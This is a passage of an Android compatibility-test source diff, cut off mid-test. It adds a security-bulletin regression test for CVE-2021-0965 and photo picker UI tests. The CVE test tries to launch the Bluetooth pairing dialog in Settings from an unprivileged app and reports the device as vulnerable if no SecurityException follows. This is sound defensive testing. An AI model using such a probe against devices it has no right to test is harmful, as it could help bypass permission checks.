+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0965"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0965"
+ android:supportsRtl="true">
+
+ <activity android:exported="true" android:name=".PocActivity">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0965" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml
new file mode 100644
index 00000000000..a85bec90a5a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
new file mode 100644
index 00000000000..e709d0a8044
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/DeviceTest.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0965;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import android.content.Intent;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiDevice;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ try {
+ device.wakeUp();
+ } catch (Exception e) {
+ }
+ device.pressHome();
+ }
+
+ @Test
+ public void testPermission() {
+ try {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName("com.android.settings",
+ "com.android.settings.bluetooth.BluetoothPairingDialog");
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ getApplicationContext().startActivity(intent);
+ } catch (SecurityException e) {
+ return;
+ }
+
+ /* If SecurityException is not thrown, it indicates absence of fix */
+ throw new RuntimeException("Vulnerable to b/194300867 !!");
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java
new file mode 100644
index 00000000000..04baf7789fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0965/src/android/security/cts/CVE_2021_0965/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0965;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/tests/PhotoPicker/Android.bp b/tests/PhotoPicker/Android.bp
new file mode 100644
index 00000000000..37b049b36c2
--- /dev/null
+++ b/tests/PhotoPicker/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+ name: "CtsPhotoPickerTest",
+ manifest: "AndroidManifest.xml",
+ test_config: "AndroidTest.xml",
+ srcs: ["src/**/*.java", "helper/**/*.java", ":CtsProviderTestUtils",],
+ compile_multilib: "both",
+ test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ sdk_version: "core_current",
+ min_sdk_version: "30",
+ libs: [
+ "android.test.base",
+ "android.test.runner",
+ "framework-mediaprovider.impl",
+ "framework-res",
+ "android_test_stubs_current"],
+ static_libs: [
+ "androidx.test.rules",
+ "cts-install-lib",
+ "androidx.test.uiautomator_uiautomator",
+ "Harrier",
+ ],
+}
diff --git a/tests/PhotoPicker/AndroidManifest.xml b/tests/PhotoPicker/AndroidManifest.xml
new file mode 100644
index 00000000000..ea26ad1424e
--- /dev/null
+++ b/tests/PhotoPicker/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.photopicker.cts">
+<application android:label="Photo Picker Device Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.photopicker.cts.GetResultActivity" />
+</application>
+
+<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.photopicker.cts"
+ android:label="Device-only photo picker tests" />
+
+</manifest>
diff --git a/tests/PhotoPicker/AndroidTest.xml b/tests/PhotoPicker/AndroidTest.xml
new file mode 100644
index 00000000000..89fc076b40d
--- /dev/null
+++ b/tests/PhotoPicker/AndroidTest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs device-only tests for photo picker">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsPhotoPickerTest.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer">
+ <option name="force-root" value="false" />
+ </target_preparer>
+
+ <option name="test-suite-tag" value="cts" />
+ <option name="test-tag" value="PhotoPickerTests" />
+ <!-- Instant apps cannot access external storage -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.photopicker.cts" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
+ <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
+ </test>
+ <option name="config-descriptor:metadata" key="parameter" value="multiuser" />
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration>
diff --git a/tests/PhotoPicker/OWNERS b/tests/PhotoPicker/OWNERS
new file mode 100644
index 00000000000..79add9eb349
--- /dev/null
+++ b/tests/PhotoPicker/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 95221
+
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/tests/PhotoPicker/res/raw/lg_g4_iso_800_jpg.jpg b/tests/PhotoPicker/res/raw/lg_g4_iso_800_jpg.jpg
new file mode 100644
index 00000000000..d26419604ef
--- /dev/null
+++ b/tests/PhotoPicker/res/raw/lg_g4_iso_800_jpg.jpg
Binary files differ
diff --git a/tests/PhotoPicker/res/raw/testvideo_meta.mp4 b/tests/PhotoPicker/res/raw/testvideo_meta.mp4
new file mode 100644
index 00000000000..e83c61db02f
--- /dev/null
+++ b/tests/PhotoPicker/res/raw/testvideo_meta.mp4
Binary files differ
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/GetResultActivity.java b/tests/PhotoPicker/src/android/photopicker/cts/GetResultActivity.java
new file mode 100644
index 00000000000..35e7830f083
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/GetResultActivity.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class GetResultActivity extends Activity {
+ private static LinkedBlockingQueue<Result> sResult;
+
+ public static class Result {
+ public final int requestCode;
+ public final int resultCode;
+ public final Intent data;
+
+ public Result(int requestCode, int resultCode, Intent data) {
+ this.requestCode = requestCode;
+ this.resultCode = resultCode;
+ this.data = data;
+ }
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
+ | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+ }
+
+ @Override
+ protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+ try {
+ sResult.offer(new Result(requestCode, resultCode, data), 5, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public void clearResult() {
+ sResult = new LinkedBlockingQueue<>();
+ }
+
+ public Result getResult() {
+ final Result result;
+ try {
+ result = sResult.poll(40, TimeUnit.SECONDS);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ if (result == null) {
+ throw new IllegalStateException("Activity didn't receive a Result in 40 seconds");
+ }
+ return result;
+ }
+
+ public Result getResult(long timeout, TimeUnit unit) {
+ try {
+ return sResult.poll(timeout, unit);
+ } catch (InterruptedException e) {
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
new file mode 100644
index 00000000000..49a1acbd772
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerBaseTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import android.Manifest;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+import android.provider.DeviceConfig;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.uiautomator.UiDevice;
+
+import org.junit.Before;
+
+/**
+ * Photo Picker Base class for Photo Picker tests. This includes common setup methods
+ * required for all Photo Picker tests.
+ */
+public class PhotoPickerBaseTest {
+ public static int REQUEST_CODE = 42;
+
+ protected GetResultActivity mActivity;
+ protected Context mContext;
+ protected UiDevice mDevice;
+
+ @Before
+ public void setUp() throws Exception {
+ final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+
+ enablePhotoPickerFlag(inst);
+
+ mContext = inst.getContext();
+ final Intent intent = new Intent(mContext, GetResultActivity.class);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+ // Wake up the device and dismiss the keyguard before the test starts
+ mDevice = UiDevice.getInstance(inst);
+ mDevice.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ mDevice.executeShellCommand("wm dismiss-keyguard");
+
+ mActivity = (GetResultActivity) inst.startActivitySync(intent);
+ // Wait for the UI Thread to become idle.
+ inst.waitForIdleSync();
+ mActivity.clearResult();
+ mDevice.waitForIdle();
+ }
+
+ private void enablePhotoPickerFlag(Instrumentation inst) {
+ inst.getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.WRITE_DEVICE_CONFIG);
+ DeviceConfig.setProperty(
+ DeviceConfig.NAMESPACE_STORAGE_NATIVE_BOOT,
+ "picker_intent_enabled" /* name */,
+ "true" /* value */,
+ false /* makeDefault */);
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
new file mode 100644
index 00000000000..10587786202
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerCrossProfileTest.java
@@ -0,0 +1,148 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findProfileButton;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ClipData;
+import android.content.Intent;
+import android.net.Uri;
+import android.provider.MediaStore;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.uiautomator.UiObject;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
+
+import org.junit.After;
+import org.junit.ClassRule;
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Photo Picker Device only tests for cross profile interaction flows.
+ */
+@RunWith(BedsteadJUnit4.class)
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class PhotoPickerCrossProfileTest extends PhotoPickerBaseTest {
+ @ClassRule @Rule
+ public static final DeviceState sDeviceState = new DeviceState();
+
+ private List<Uri> mUriList = new ArrayList<>();
+
+ @After
+ public void tearDown() throws Exception {
+ for (Uri uri : mUriList) {
+ deleteMedia(uri, mContext.getUserId());
+ }
+ mActivity.finish();
+ }
+
+ @Test
+ @RequireRunOnWorkProfile
+ @Ignore("Enable after b/201323670 is fixed")
+ public void testWorkApp_canAccessPersonalProfileContents() throws Exception {
+ final int imageCount = 2;
+ createImages(imageCount, sDeviceState.primaryUser().id(), mUriList);
+
+ Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ // Click the profile button to change to personal profile
+ final UiObject profileButton = findProfileButton();
+ profileButton.click();
+ mDevice.waitForIdle();
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ final UiObject addButton = findAddButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(imageCount);
+ for (int i = 0; i < count; i++) {
+ Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, sDeviceState.primaryUser().id());
+ assertRedactedReadOnlyAccess(uri);
+ }
+ }
+
+ @Test
+ @EnsureHasWorkProfile
+ @Ignore("Enable after b/201323670 is fixed")
+ public void testPersonalApp_canAccessWorkProfileContents() throws Exception {
+ final int imageCount = 2;
+ createImages(imageCount, sDeviceState.workProfile().id(), mUriList);
+
+ Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, imageCount);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ // Click the profile button to change to work profile
+ final UiObject profileButton = findProfileButton();
+ profileButton.click();
+ mDevice.waitForIdle();
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ final UiObject addButton = findAddButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(imageCount);
+ for (int i = 0; i < count; i++) {
+ Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, sDeviceState.workProfile().id());
+ assertRedactedReadOnlyAccess(uri);
+ }
+ }
+}
diff --git a/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
new file mode 100644
index 00000000000..761511abf87
--- /dev/null
+++ b/tests/PhotoPicker/src/android/photopicker/cts/PhotoPickerTest.java
@@ -0,0 +1,364 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.photopicker.cts;
+
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertMimeType;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertPickerUriFormat;
+import static android.photopicker.cts.util.PhotoPickerAssertionsUtils.assertRedactedReadOnlyAccess;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createImages;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.createVideos;
+import static android.photopicker.cts.util.PhotoPickerFilesUtils.deleteMedia;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.SHORT_TIMEOUT;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.REGEX_PACKAGE_NAME;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findAddButton;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findItemList;
+import static android.photopicker.cts.util.PhotoPickerUiUtils.findPreviewAddOrSelectButton;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.content.ClipData;
+import android.content.Intent;
+import android.net.Uri;
+import android.provider.MediaStore;
+
+import androidx.test.filters.SdkSuppress;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.UiObject;
+import androidx.test.uiautomator.UiSelector;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Photo Picker Device only tests for common flows.
+ */
+@RunWith(AndroidJUnit4.class)
+@SdkSuppress(minSdkVersion = 31, codeName = "S")
+public class PhotoPickerTest extends PhotoPickerBaseTest {
+ private List<Uri> mUriList = new ArrayList<>();
+
+ @After
+ public void tearDown() throws Exception {
+ for (Uri uri : mUriList) {
+ deleteMedia(uri, mContext.getUserId());
+ }
+ mActivity.finish();
+ }
+
+ @Test
+ public void testSingleSelect() throws Exception {
+ final int itemCount = 1;
+ createImages(itemCount, mContext.getUserId(), mUriList);
+
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final UiObject item = findItemList(itemCount).get(0);
+ item.click();
+ mDevice.waitForIdle();
+
+ final Uri uri = mActivity.getResult().data.getData();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ }
+
+ @Test
+ public void testSingleSelectWithPreview() throws Exception {
+ final int itemCount = 1;
+ createImages(itemCount, mContext.getUserId(), mUriList);
+
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final UiObject item = findItemList(itemCount).get(0);
+ item.longClick();
+ mDevice.waitForIdle();
+
+ final UiObject addButton = findPreviewAddOrSelectButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final Uri uri = mActivity.getResult().data.getData();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ }
+
+ @Test
+ public void testMultiSelect_invalidParam() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ // TODO(b/205291616): Replace 101 with MediaStore.getPickImagesMaxLimit() + 1
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 101);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final GetResultActivity.Result res = mActivity.getResult();
+ assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
+ }
+
+ @Test
+ public void testMultiSelect_invalidNegativeParam() throws Exception {
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, -1);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+ final GetResultActivity.Result res = mActivity.getResult();
+ assertThat(res.resultCode).isEqualTo(Activity.RESULT_CANCELED);
+ }
+
+ @Test
+ public void testMultiSelect_returnsNotMoreThanMax() throws Exception {
+ final int maxCount = 2;
+ final int imageCount = maxCount + 1;
+ createImages(imageCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, maxCount);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ // Select maxCount + 1 item
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ UiObject snackbarTextView = mDevice.findObject(new UiSelector().text(
+ "Select up to 2 items"));
+ assertWithMessage("Timed out while waiting for snackbar to appear").that(
+ snackbarTextView.waitForExists(SHORT_TIMEOUT)).isTrue();
+
+ assertWithMessage("Timed out waiting for snackbar to disappear").that(
+ snackbarTextView.waitUntilGone(SHORT_TIMEOUT)).isTrue();
+
+ final UiObject addButton = findAddButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(maxCount);
+ }
+
+ @Test
+ public void testDoesNotRespectExtraAllowMultiple() throws Exception {
+ final int imageCount = 2;
+ createImages(imageCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ intent.putExtra(Intent.EXTRA_ALLOW_MULTIPLE, true);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ // Select 1 item
+ final UiObject item = itemList.get(0);
+ item.click();
+ mDevice.waitForIdle();
+
+ final Uri uri = mActivity.getResult().data.getData();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ }
+
+ @Test
+ public void testMultiSelect() throws Exception {
+ final int imageCount = 4;
+ createImages(imageCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+ for (int i = 0; i < itemCount; i++) {
+ final UiObject item = itemList.get(i);
+ item.click();
+ mDevice.waitForIdle();
+ }
+
+ final UiObject addButton = findAddButton();
+ addButton.click();
+ mDevice.waitForIdle();
+
+ final ClipData clipData = mActivity.getResult().data.getClipData();
+ final int count = clipData.getItemCount();
+ assertThat(count).isEqualTo(itemCount);
+ for (int i = 0; i < count; i++) {
+ final Uri uri = clipData.getItemAt(i).getUri();
+ assertPickerUriFormat(uri, mContext.getUserId());
+ assertRedactedReadOnlyAccess(uri);
+ }
+ }
+
+ @Test
+ public void testMultiSelect_longPress() throws Exception {
+ final int imageCount = 3;
+ createImages(imageCount, mContext.getUserId(), mUriList);
+ final Intent intent = new Intent(MediaStore.ACTION_PICK_IMAGES);
+ // TODO(b/205291616): Replace 100 with MediaStore.getPickImagesMaxLimit()
+ intent.putExtra(MediaStore.EXTRA_PICK_IMAGES_MAX, 100);
+ mActivity.startActivityForResult(intent, REQUEST_CODE);
+
+ final List<UiObject> itemList = findItemList(imageCount);
+ final int itemCount = itemList.size();
+ assertThat(itemCount).isEqualTo(imageCount);
+
+ // Select one item from Photo grid
+ itemList.get(0).click();
+ mDevice.waitForIdle();
+
+ UiObject item = itemList.get(1);
+ item.longClick();
+ mDevice.waitForIdle();
+
+ // Select the item from Preview
+ final UiObject selectButton = findPreviewAddOrSelectButton();
+ selectButton.click();
